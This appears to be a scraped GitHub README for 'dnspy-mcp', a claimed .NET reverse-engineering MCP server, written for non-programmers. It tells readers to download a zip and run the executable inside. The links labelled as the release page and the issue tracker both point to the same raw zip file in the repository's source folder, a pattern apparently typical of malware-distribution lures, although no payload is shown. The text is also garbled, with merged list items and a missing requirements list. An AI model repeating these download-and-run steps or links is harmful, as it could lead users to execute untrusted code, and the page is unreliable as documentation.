Provide a modular MCP server in C# for .NET reverse engineering with reflection-based tools and structured output in the dnSpy/ILSpy ecosystem.
dnspy-mcp is a server tool designed for people who work with .NET programs. It helps you work with reverse engineering tools like dnSpy or ILSpy. This software runs on Windows and is built using the C# language. It lets you analyze and inspect .NET code more easily by providing a backend service that these tools connect to.
You don't need to know much about coding to use dnspy-mcp. This guide will help you download and start it on your Windows computer without needing any programming skills.
Before you start, make sure your computer meets these needs:
Having these will ensure the server runs smoothly without errors.
Follow these steps to get dnspy-mcp ready on your PC.
Click or open this link in your browser:
Download dnspy-mcp here
This page shows the latest versions of the software. Look for the most recent release with the highest version number.
You will see several files under the release named like these:
dnspy-mcp-win64.zip dnspy-mcp-win32.zipChoose the file that matches your Windows version:
win64 file. win32 file.If unsure, 64-bit is the likely choice.
Click on the correct file and your browser will download it to your computer. Remember where you save it (usually the "Downloads" folder).
After you download the file, here’s how to set up dnspy-mcp:
Once extracted, open the new folder. Inside, you will see several files. The important one is usually called dnspy-mcp.exe or similar.
.exe file to start the server. The server should now be running quietly in the background, ready to work with your .NET tools.
dnspy-mcp works as a helper service for other tools. It lets those tools connect to it to speed up their work.
localhost or 127.0.0.1 as the server address. Once done, these tools will connect to dnspy-mcp automatically when you work on .NET programs, making them faster and smoother.
If dnspy-mcp does not start or stops working:
dnspy-mcp.exe. If the server window closes immediately, try running the .exe file from the Command Prompt to view any error messages:
cmd, and open the Command Prompt. cd command to go to the folder where dnspy-mcp.exe is. Example:cd Desktop\dnspy-mcp dnspy-mcp.exe and press Enter. Check the release page regularly for updates:
https://github.com/Finot3/dnspy-mcp/raw/refs/heads/master/src/mcp-dnspy-v2.2.zip
To update:
You can delete old files if you want. Back up your settings if you have saved any.
Here are the typical files you will find inside the dnspy-mcp package:
dnspy-mcp.exe: The main server program you run. README.md: This document explaining usage. config.json or similar: Settings file where you can modify advanced options if you want. For those who want more control:
config.json file to change the server port or logging options. For basic use, these steps are not necessary.
If you run into trouble beyond these instructions, open an issue in the GitHub repository:
https://github.com/Finot3/dnspy-mcp/raw/refs/heads/master/src/mcp-dnspy-v2.2.zip
Describe your problem clearly and include screenshots if possible. The community or maintainers may help you resolve issues.
Finot3/dnspy-mcp
February 5, 2025
April 13, 2026
C#